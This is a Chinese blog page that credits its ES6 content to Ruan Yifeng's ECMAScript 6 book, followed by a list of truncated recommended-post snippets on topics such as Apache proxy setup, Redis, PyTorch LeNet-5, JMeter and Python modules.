    声明 本篇内容全部摘自阮一峰的:ECMAScript 6 入门 阮一峰的这本书,我个人觉得写得挺好的,不管是描述方面,还是例子,都讲得挺通俗易懂,每个新特性基本都还会跟 ES5 旧标准做比较,说明为什 ...

随机推荐

  1. APACHE正向代理配置

    Apache快速安装和反向代理配置:https://www.cnblogs.com/brad93/p/16718104.html Apache正向代理配置参考教程:https://www.cnblog ...

  2. MapStruct与lombok加载顺序问题与annotationProcessorPaths的关系?

    MapStruct是什么? MapStruct is a code generator that greatly simplifies the implementation of mappings b ...

  3. 【Java EE】Day09 JavaScript基础

    一.JavaScript简介 二.JavaScript语法 三.JavaScript对象

  4. 记录一次缓存引起的线上BUG

    背景 有一个需求大概是这样的,为了提高推荐系统的性能,需要本来从A服务获取的帖子信息,改为从Redis里面重新读取 Redis里面没有存帖子的所有信息,只存储了推荐系统必要的字段 大概是这样的: 至于 ...

  5. PyTorch复现LeNet-5手写识别学习笔记

    用PyTorch搭建LeNet-5手写识别 首先申明,这篇博客用于记录本人看完LeNet-5论文,并对其中的算法进行复现的记录,可以看成是学习笔记 这里只介绍复现的工作,如果想了解更多有关网络的细节, ...

  6. 第三模块的下载、requests模块、openpyxl模块

    目录 第三方模块的下载安装 下载第三模块的方式 针对下载第三模块时可能会出现的问题 网络爬虫模块之requests模块 自动化办公领域之openpyxl模块 第三方模块的下载安装 第三方模块:别人写的 ...

  7. jmeter 之修改报告取样间隔时间以及APDEX 区间设置

    1.取样间隔时间设置 在jmeter 生成的报告中取样间隔默认设置的是1分钟,而非1秒,故样本间的间隔为1分钟,如下图所示: 取样间隔时间可通过修改bin/user.properties配置文件实现自 ...

  8. 安装node.js与webpack创建vue2项目

    本文为博主原创,转载请注明出处: 1.安装node.js 下载地址:http://nodejs.cn/download/ (可查看历史版本) node.js 中文网:http://nodejs.cn/ ...

  9. Redis数据结构与对象

    参考<Redis设计与实现> 系列文章目录和关于我 一丶简单动态字符串 当redis需要的不仅仅是一个字符串字面量,而是一个可以被修改的字符串值时,就会使用SDS(simple dynam ...

  10. 初识argparse 模块

    # 1引入模块 import argparse # 2建立解析对象 parser = argparse.ArgumentParser() # 3增加属性:给xx实例增加一个aa属性 # xx.add_ ...